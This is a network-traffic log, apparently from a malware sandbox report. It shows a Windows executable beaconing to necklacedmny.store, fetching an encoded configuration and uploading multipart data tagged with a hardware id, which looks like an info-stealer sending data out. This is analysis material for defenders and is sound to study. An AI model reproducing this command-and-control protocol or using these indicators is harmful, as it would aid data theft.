2024-10-28 14:28:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-28 14:28:06 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 14:28:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=68tmqjpqf24qedd20h43fsbibd; expires=Fri, 21 Feb 2025 08:14:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iOxLDJmvLgMkh0eudVgzXDfY%2FUsOumh1cRZMIlUan3RV1iZ4KYScyzpgywwS%2F8QBJetxcG%2FzDYpIPLsgTuDZEGHoXYKGmxaKPYSWiwTBOu35i4CWT3dM7NswxS6iSfBD67J09YQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9b9c413c572cd0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1549&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1804361&cwnd=248&unsent_bytes=0&cid=3376a40c96979b63&ts=791&x=0"
2024-10-28 14:28:06 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-28 14:28:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 14:28:07 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-28 14:28:07 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-28 14:28:07 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 14:28:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4ioqlr41qiti1lsv1nglo7vkf5; expires=Fri, 21 Feb 2025 08:14:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XmpdZ0zvyTRwnXgK2F2sDoxHCGpqlIymfVBMzLtk7Ztk98p063FLThBXw1RNOdycf3P2YKN9vmaBVGJG4esRDvCi0oPgZz6OGaFOcYJ0Dudi6kVK7Sqf2qc741loxX9yhqhPtDo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9b9c48893be7d3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2078&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=1448724&cwnd=251&unsent_bytes=0&cid=0247c19061a58ea0&ts=456&x=0"
2024-10-28 14:28:07 UTC	362	IN	Data Raw: 34 34 36 63 0d 0a 6e 4b 30 45 33 47 34 2b 62 4b 61 35 56 30 2b 63 65 73 41 63 51 6a 4a 62 44 62 76 6c 63 76 6a 44 67 2f 49 63 79 4f 4b 6e 76 41 44 6e 6a 33 4c 2b 56 41 70 41 68 4d 6f 79 62 61 59 4f 73 6d 6b 6e 48 6e 6c 73 33 38 64 49 6e 71 4c 76 67 58 6e 6b 77 4e 48 52 49 71 62 4c 5a 62 41 64 57 30 43 45 33 43 39 74 70 69 47 37 50 69 64 63 65 54 65 5a 67 42 69 61 6f 75 2b 51 66 61 4f 4e 31 39 42 6a 39 4d 46 6a 74 41 74 64 43 4d 66 56 4f 69 72 35 48 36 46 32 4c 46 73 32 5a 64 62 48 58 74 71 6d 2b 64 41 6d 36 71 2f 43 79 47 48 52 7a 48 65 33 54 45 4e 41 33 5a 73 79 49 62 35 41 34 6e 30 6e 55 44 64 72 33 34 34 61 6b 4b 76 6e 6b 58 69 69 6b 73 37 61 61 50 54 50 59 4c 55 42 56 42 7a 4b 33 7a 30 68 2f 78 57 68 50 6d 34 51 50 6e 65 5a 33 31 44 4a 6b 2b 4b 42 62 Data Ascii: 446cnK0E3G4+bKa5V0+cesAcQjJbDbvlcvjDg/IcyOKnvADnj3L+VApAhMoybaYOsmknHnls38dInqLvgXnkwNHRIqbLZbAdW0CE3C9tpiG7PidceTeZgBiaou+QfaON19Bj9MFjtAtdCMfVOir5H6F2LFs2ZdbHXtqm+dAm6q/CyGHRzHe3TENA3ZsyIb5A4n0nUDdr344akKvnkXiiks7aaPTPYLUBVBzK3z0h/xWhPm4QPneZ31DJk+KBb
2024-10-28 14:28:07 UTC	1369	IN	Data Raw: 2b 77 71 70 64 79 31 64 4f 57 4c 54 69 42 4f 61 70 75 75 61 63 61 43 45 79 4e 4e 6b 2f 73 38 6d 38 45 78 62 46 6f 53 44 64 51 37 37 43 4b 56 79 4e 68 49 44 4c 38 62 4a 43 64 71 6d 37 64 41 6d 36 6f 6a 41 33 57 48 31 77 47 57 32 42 30 34 4f 31 74 30 34 4b 4f 77 65 70 33 41 71 55 79 74 6c 31 34 45 54 6b 36 72 6f 6c 58 6d 75 77 49 75 65 5a 65 61 50 50 76 34 74 55 51 58 49 30 53 49 74 76 67 66 73 5a 32 42 58 4e 53 2b 42 78 78 53 62 70 65 43 55 63 4b 53 45 79 64 68 73 38 38 42 67 74 41 78 62 42 4d 7a 54 4e 43 44 31 46 36 4a 37 4c 56 51 2f 59 39 69 43 55 4e 54 68 35 6f 67 2b 38 73 44 72 32 57 48 73 6a 56 4f 39 41 6c 49 4a 30 70 73 71 59 2b 64 59 70 58 4a 67 43 48 6c 68 33 49 67 43 6d 37 50 6b 6e 6d 79 6d 68 63 50 54 59 66 44 50 59 37 6b 42 55 67 6a 44 32 44 30 Data Ascii: +wqpdy1dOWLTiBOapuuacaCEyNNk/s8m8ExbFoSDdQ77CKVyNhIDL8bJCdqm7dAm6ojA3WH1wGW2B04O1t04KOwep3AqUytl14ETk6rolXmuwIueZeaPPv4tUQXI0SItvgfsZ2BXNS+BxxSbpeCUcKSEydhs88BgtAxbBMzTNCD1F6J7LVQ/Y9iCUNTh5og+8sDr2WHsjVO9AlIJ0psqY+dYpXJgCHlh3IgCm7PknmymhcPTYfDPY7kBUgjD2D0
2024-10-28 14:28:07 UTC	1369	IN	Data Raw: 58 4a 67 43 48 6c 6a 30 49 63 62 6b 4b 58 68 6c 33 4f 76 67 38 4c 64 62 2f 6e 46 61 4c 6b 49 55 41 66 4a 33 54 55 71 2b 68 32 77 65 79 6c 63 4e 53 2b 58 78 78 65 43 34 62 6e 51 55 61 32 57 78 76 46 68 37 38 59 6d 6f 55 4a 46 54 73 50 58 64 58 57 2b 48 36 64 32 4b 31 59 78 62 38 75 43 48 70 47 67 36 35 5a 2f 70 34 7a 44 33 6d 50 2b 79 57 71 2b 43 31 73 63 31 74 34 7a 50 2f 52 59 37 44 34 6e 53 48 6b 33 6d 62 45 41 6a 62 44 33 30 6b 75 70 6a 73 76 5a 64 4c 37 51 4b 4b 64 4d 57 77 4b 45 67 33 55 6d 2f 68 53 6c 64 69 5a 55 4d 57 44 57 6a 67 4b 62 72 65 2b 43 65 61 71 4a 79 39 46 75 39 38 4a 68 73 77 64 57 41 38 44 63 4e 47 32 77 57 4b 56 6d 59 41 68 35 57 63 6d 4b 48 4c 53 71 37 5a 6b 2b 74 63 37 63 6e 6d 58 79 6a 7a 37 2b 43 46 41 47 7a 74 51 38 4a 2f 51 58 Data Ascii: XJgCHlj0IcbkKXhl3Ovg8Ldb/nFaLkIUAfJ3TUq+h2weylcNS+XxxeC4bnQUa2WxvFh78YmoUJFTsPXdXW+H6d2K1Yxb8uCHpGg65Z/p4zD3mP+yWq+C1sc1t4zP/RY7D4nSHk3mbEAjbD30kupjsvZdL7QKKdMWwKEg3Um/hSldiZUMWDWjgKbre+CeaqJy9Fu98JhswdWA8DcNG2wWKVmYAh5WcmKHLSq7Zk+tc7cnmXyjz7+CFAGztQ8J/QX
2024-10-28 14:28:07 UTC	1369	IN	Data Raw: 39 35 49 5a 6d 41 43 4e 72 35 6f 62 39 5a 6e 38 4c 6b 35 43 4c 68 67 58 2f 2b 43 31 42 4f 6e 4a 73 35 4c 76 49 51 72 58 67 70 58 44 4e 6d 30 6f 73 62 6e 71 33 6f 6c 58 69 72 68 63 44 66 5a 76 4c 46 59 4c 30 50 55 77 48 4c 30 33 56 6a 76 68 2b 36 50 6e 67 51 48 48 6a 53 69 52 62 61 76 71 2b 4a 50 71 32 4d 68 59 59 69 38 73 5a 67 75 41 6c 51 44 38 4c 54 4d 43 58 36 47 61 52 34 49 31 38 39 61 74 69 49 46 4a 61 76 36 35 46 2f 70 6f 76 4b 31 57 65 2b 67 53 61 35 46 42 78 57 68 4f 6f 32 4f 2b 6b 49 72 6a 34 2f 48 69 41 76 33 6f 74 51 77 75 48 67 67 6e 53 67 6a 73 44 52 5a 2f 33 41 59 62 4d 4b 55 41 54 4e 30 7a 4d 69 39 77 71 68 63 69 35 58 4e 32 50 58 69 68 71 5a 72 4b 48 65 50 71 32 59 68 59 59 69 30 73 68 72 6b 41 64 51 43 59 54 45 65 7a 53 2b 48 36 34 2b 65 Data Ascii: 95IZmACNr5ob9Zn8Lk5CLhgX/+C1BOnJs5LvIQrXgpXDNm0osbnq3olXirhcDfZvLFYL0PUwHL03Vjvh+6PngQHHjSiRbavq+JPq2MhYYi8sZguAlQD8LTMCX6GaR4I189atiIFJav65F/povK1We+gSa5FBxWhOo2O+kIrj4/HiAv3otQwuHggnSgjsDRZ/3AYbMKUATN0zMi9wqhci5XN2PXihqZrKHePq2YhYYi0shrkAdQCYTEezS+H64+e
2024-10-28 14:28:07 UTC	1369	IN	Data Raw: 76 67 41 43 4b 6f 71 4f 68 61 4b 6d 57 7a 74 4e 75 76 74 41 6f 70 30 78 62 41 6f 53 44 64 53 76 78 45 61 46 78 49 56 6b 31 59 74 79 4f 46 5a 75 6e 35 5a 70 30 71 6f 62 44 33 32 66 30 7a 47 65 30 42 56 73 47 77 39 67 6e 62 62 42 59 70 57 5a 67 43 48 6c 47 33 70 55 65 69 75 48 2b 33 6d 66 71 68 38 6d 65 4f 72 37 4c 62 4c 45 49 57 77 4c 43 33 6a 4d 67 2f 78 65 6a 66 69 39 55 4d 6d 62 66 68 68 32 66 72 4f 57 43 64 4b 47 50 79 64 64 75 38 34 38 6f 2f 67 74 45 54 70 79 62 42 43 44 77 46 71 56 6f 59 45 39 33 64 70 6d 41 48 4e 72 35 6f 5a 46 79 70 59 50 4b 33 57 48 2f 78 58 53 73 41 46 55 47 77 64 63 2b 49 2f 67 4b 70 48 45 70 55 7a 70 6d 33 6f 38 63 6b 4b 4c 6d 30 44 44 71 68 39 32 65 4f 72 37 73 63 61 34 42 48 42 47 4b 77 6e 55 71 38 6c 6a 36 50 69 68 64 4d 57 Data Ascii: vgACKoqOhaKmWztNuvtAop0xbAoSDdSvxEaFxIVk1YtyOFZun5Zp0qobD32f0zGe0BVsGw9gnbbBYpWZgCHlG3pUeiuH+3mfqh8meOr7LbLEIWwLC3jMg/xejfi9UMmbfhh2frOWCdKGPyddu848o/gtETpybBCDwFqVoYE93dpmAHNr5oZFypYPK3WH/xXSsAFUGwdc+I/gKpHEpUzpm3o8ckKLm0DDqh92eOr7sca4BHBGKwnUq8lj6PihdMW
2024-10-28 14:28:07 UTC	1369	IN	Data Raw: 6b 36 58 70 6b 33 36 75 68 4d 4c 62 59 66 4c 45 59 62 30 44 57 41 66 4b 30 6a 70 74 73 46 69 6c 5a 6d 41 49 65 55 37 43 68 42 79 58 34 66 37 65 5a 2b 71 48 79 5a 34 36 76 73 4e 6f 75 77 78 57 43 4d 44 65 4d 79 66 37 47 4b 6c 39 4c 31 51 2f 61 39 61 48 47 35 4f 67 35 35 56 30 6f 59 62 49 33 57 54 34 6a 79 6a 2b 43 30 52 4f 6e 4a 73 56 4e 76 4d 55 70 54 34 2f 48 69 41 76 33 6f 74 51 77 75 48 71 6e 48 71 74 67 4d 6a 64 61 76 76 4c 62 4c 73 4d 56 42 7a 4d 32 7a 49 2f 37 42 69 72 65 79 78 54 4f 57 76 66 6a 68 61 5a 70 61 48 65 50 71 32 59 68 59 59 69 30 38 4e 68 6c 77 74 48 54 74 75 56 4c 47 33 35 46 4f 49 6d 59 46 45 79 5a 64 61 4b 45 35 79 69 36 70 56 30 71 34 66 4e 30 33 44 39 77 47 6d 36 44 46 4d 49 77 74 6f 36 4b 2f 6b 52 6f 33 59 6e 45 48 63 76 33 70 39 Data Ascii: k6Xpk36uhMLbYfLEYb0DWAfK0jptsFilZmAIeU7ChByX4f7eZ+qHyZ46vsNouwxWCMDeMyf7GKl9L1Q/a9aHG5Og55V0oYbI3WT4jyj+C0ROnJsVNvMUpT4/HiAv3otQwuHqnHqtgMjdavvLbLsMVBzM2zI/7BireyxTOWvfjhaZpaHePq2YhYYi08NhlwtHTtuVLG35FOImYFEyZdaKE5yi6pV0q4fN03D9wGm6DFMIwto6K/kRo3YnEHcv3p9
2024-10-28 14:28:07 UTC	1369	IN	Data Raw: 5a 64 70 70 63 43 4c 6e 6d 32 2b 6c 31 2f 2b 42 56 73 56 31 63 30 34 50 66 6c 59 6e 54 42 67 53 48 6b 33 6d 62 49 54 6c 4b 2f 6d 68 6d 2f 6e 70 39 50 55 5a 65 37 49 63 62 46 4d 45 6b 37 43 6d 32 31 2b 73 46 69 6d 62 32 41 49 61 54 32 43 30 6b 50 4e 38 62 4f 50 4d 4c 50 41 30 35 34 36 72 49 45 6d 72 45 77 45 54 6f 50 59 4a 7a 2f 34 47 37 52 39 5a 32 34 48 53 4d 4f 4b 46 6f 32 77 33 36 35 35 73 49 33 44 79 58 4f 79 32 6d 57 77 41 6c 73 59 68 4a 56 31 49 72 35 41 6d 7a 35 6f 45 41 59 68 6d 5a 39 51 77 75 48 55 6b 33 43 6b 68 39 50 50 4c 39 6e 56 61 37 67 62 54 55 36 4b 6d 7a 4e 74 70 6b 6a 73 50 69 52 42 65 54 65 4a 31 55 76 50 38 72 62 41 4c 4c 58 4f 33 4a 35 30 76 70 63 30 38 45 78 4f 54 70 79 62 63 69 37 73 43 71 52 39 4e 6c 4e 2b 55 65 65 70 46 35 79 6b Data Ascii: ZdppcCLnm2+l1/+BVsV1c04PflYnTBgSHk3mbITlK/mhm/np9PUZe7IcbFMEk7Cm21+sFimb2AIaT2C0kPN8bOPMLPA0546rIEmrEwEToPYJz/4G7R9Z24HSMOKFo2w3655sI3DyXOy2mWwAlsYhJV1Ir5Amz5oEAYhmZ9QwuHUk3Ckh9PPL9nVa7gbTU6KmzNtpkjsPiRBeTeJ1UvP8rbALLXO3J50vpc08ExOTpybci7sCqR9NlN+UeepF5yk
2024-10-28 14:28:07 UTC	1369	IN	Data Raw: 32 57 31 4a 4e 46 38 4d 68 6e 71 42 78 4c 41 59 53 56 64 53 75 2b 51 50 41 77 59 46 51 6f 4c 34 48 58 51 73 48 30 73 73 63 75 2b 4a 2b 4c 78 79 4c 6f 6a 7a 37 73 51 68 77 63 68 49 4e 31 61 76 30 4b 73 48 67 6a 52 6a 6f 6f 35 37 6b 33 6c 4b 62 67 68 6d 36 39 6a 34 72 77 56 4e 2f 78 57 4b 73 50 55 67 44 44 7a 53 52 74 73 46 69 74 50 6e 68 70 65 53 65 5a 75 46 37 61 75 61 48 49 50 70 2b 44 79 39 42 6c 36 4e 34 72 6d 51 4a 62 44 39 4c 4c 49 69 4b 78 4e 70 52 66 59 42 35 35 61 5a 6e 66 51 74 54 68 35 59 45 2b 38 74 43 58 68 54 65 74 6d 44 62 73 45 78 49 58 68 4d 31 31 64 61 78 57 34 6d 78 67 43 48 6b 6f 32 70 55 43 6e 4b 4c 33 6b 7a 6d 55 76 75 4c 51 5a 66 2f 5a 64 72 4d 41 66 51 33 56 30 51 73 54 36 78 75 73 63 43 64 47 4b 43 2b 58 78 78 2f 61 2b 64 6a 51 4e Data Ascii: 2W1JNF8MhnqBxLAYSVdSu+QPAwYFQoL4HXQsH0sscu+J+LxyLojz7sQhwchIN1av0KsHgjRjoo57k3lKbghm69j4rwVN/xWKsPUgDDzSRtsFitPnhpeSeZuF7auaHIPp+Dy9Bl6N4rmQJbD9LLIiKxNpRfYB55aZnfQtTh5YE+8tCXhTetmDbsExIXhM11daxW4mxgCHko2pUCnKL3kzmUvuLQZf/ZdrMAfQ3V0QsT6xuscCdGKC+Xxx/a+djQN
2024-10-28 14:28:07 UTC	1369	IN	Data Raw: 67 58 4e 50 64 59 61 34 50 48 69 4c 44 31 6a 6b 54 77 43 2b 7a 65 54 41 53 48 32 7a 50 68 46 44 55 34 66 6e 51 4a 75 71 74 31 39 6c 79 2f 59 31 4b 75 51 46 51 54 74 75 56 4c 47 33 6f 57 50 6f 74 62 68 41 72 4c 34 48 48 56 35 6d 7a 38 35 5a 39 76 49 4f 43 34 46 7a 54 33 57 47 75 44 78 34 2f 79 64 38 6a 4f 50 30 49 70 55 41 65 66 53 74 6f 79 59 52 53 76 35 75 6a 6f 57 69 70 67 4d 76 5a 49 72 43 50 66 76 35 55 48 43 50 57 33 43 55 75 76 44 32 59 50 42 46 47 4f 6d 2f 58 67 46 43 46 37 2f 6a 51 61 4f 72 59 6c 70 41 69 37 49 38 2b 2f 6b 74 53 41 38 58 59 4f 79 37 73 43 71 52 39 4e 6c 4e 2b 55 65 65 6f 47 35 75 78 37 49 46 7a 72 70 62 37 34 45 58 34 79 6d 47 41 4d 6d 73 66 77 38 74 33 43 2f 30 4f 6f 54 35 75 45 43 45 76 67 63 63 33 6e 4b 54 6d 30 44 44 71 68 49 Data Ascii: gXNPdYa4PHiLD1jkTwC+zeTASH2zPhFDU4fnQJuqt19ly/Y1KuQFQTtuVLG3oWPotbhArL4HHV5mz85Z9vIOC4FzT3WGuDx4/yd8jOP0IpUAefStoyYRSv5ujoWipgMvZIrCPfv5UHCPW3CUuvD2YPBFGOm/XgFCF7/jQaOrYlpAi7I8+/ktSA8XYOy7sCqR9NlN+UeeoG5ux7IFzrpb74EX4ymGAMmsfw8t3C/0OoT5uECEvgcc3nKTm0DDqhI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 14:28:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-28 14:28:08 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 44 34 35 41 39 44 45 42 38 37 35 46 37 32 41 31 42 45 37 33 43 44 42 45 44 34 33 38 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02D45A9DEB875F72A1BE73CDBED43854--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 14:28:08 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 14:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6boqubg6hjdq9gnjo3p62moc9i; expires=Fri, 21 Feb 2025 08:14:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wh%2F9%2BoCuPDzsTBJOL0BESFlaCgbQMy5mevWFMjxPX11ODYNLSzOnFFlJaQIuWX8AbtMkuB5lRZG8cnyARyPPARYi5QvyqTDnJNW2kJ2fSNeGVuqThy%2BHS0f4p2yB1obhs8EQZ4s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9b9c511f2b0beb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1643&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13806&delivery_rate=1807740&cwnd=249&unsent_bytes=0&cid=8fae0ca299f0ee48&ts=609&x=0"
2024-10-28 14:28:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 14:28:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49714	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 14:28:09 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-28 14:28:09 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 44 34 35 41 39 44 45 42 38 37 35 46 37 32 41 31 42 45 37 33 43 44 42 45 44 34 33 38 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02D45A9DEB875F72A1BE73CDBED43854--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 14:28:10 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 14:28:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3br5slm1kt1tkr1ivkea2aacpg; expires=Fri, 21 Feb 2025 08:14:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LGfXr8RUKh6MVCoK%2BuVJA5uOsFdqEzyE3Z1LbEx4pBUfG1NwpN%2BlFOgV7fzziMS9gNwroOb4HL0kfmABZjySwu3JYogqqPVg5JVyzCYjjE3L%2FpzIBgacm%2Bt6ivUwYdcjeMDGPNg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9b9c58e9603596-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1133&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16052&delivery_rate=2307569&cwnd=247&unsent_bytes=0&cid=7de55af4194db0e7&ts=553&x=0"
2024-10-28 14:28:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 14:28:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49725	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 14:28:11 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-28 14:28:11 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 44 34 35 41 39 44 45 42 38 37 35 46 37 32 41 31 42 45 37 33 43 44 42 45 44 34 33 38 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02D45A9DEB875F72A1BE73CDBED43854--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 14:28:11 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
